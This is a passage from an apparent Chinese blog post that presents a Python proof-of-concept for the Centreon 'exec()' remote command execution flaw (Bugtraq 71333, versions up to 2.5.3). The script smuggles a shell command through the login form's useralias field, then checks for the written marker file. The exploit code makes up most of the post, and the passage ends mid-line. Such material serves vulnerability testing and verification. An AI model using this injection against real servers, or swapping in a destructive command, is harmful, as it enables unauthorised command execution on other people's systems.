Bugtraq ID:71333 PoC

最新推荐文章于 2024-07-08 21:50:19 发布

原创

最新推荐文章于 2024-07-08 21:50:19 发布 · 1.6k 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#Centreon #漏洞

这是一个关于Centreon 'exec()'函数远程命令执行漏洞的Python poc。漏洞影响Centreon <= 2.5.3版本，触发条件是开启调试权限。 poc通过构造特定的POST数据，尝试利用漏洞写入文件验证漏洞存在。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

#!/usr/bin/python
#coding: gb2312

# 文件名称：centreon_exec_rce_poc.py
# 编写时间：2014-12-09
# 更新时间：2015-07-17

# 漏洞说明：Centreon 'exec()' 函数远程命令执行漏洞
# 影响版本：Centreon <= 2.5.3
# 特别说明：该漏洞的触发条件是开启了调试权限。具体配置参考：系统管理 -> 参数 -> 调试 -> 认证debug -> Yes

# 漏洞参考：
# Bugtraq ID:71333
# http://www.securityfocus.com/bid/71333/

import sys
import urllib

flag = "leng_que"

# 备注：Centreon内部会把`号过滤掉，同时会把*号转换为\*
shell_cmd = "echo -n '"+flag+"' > leng_que.txt;"

def main(centreon_server_url):
    post_data = urllib.urlencode({"useralias": "\";"+shell_cmd+"\"", "password": "leng_que", "submit": "leng_que"})
    r = urllib.urlopen(centreon_server_url, post_data)
    if ( 200 == r.getcode() ):
        test_file_url = centreon_server_url+"/leng_que.txt"
        r = urllib.urlopen(test_file_url)
        if ( 200 == r.getcode() and flag == r.read() ):
            print "漏洞肯定存在"
        else:
            print "漏洞或许不存在"
    else:
        print "无法判断漏洞是否存在"

if __name__ == '_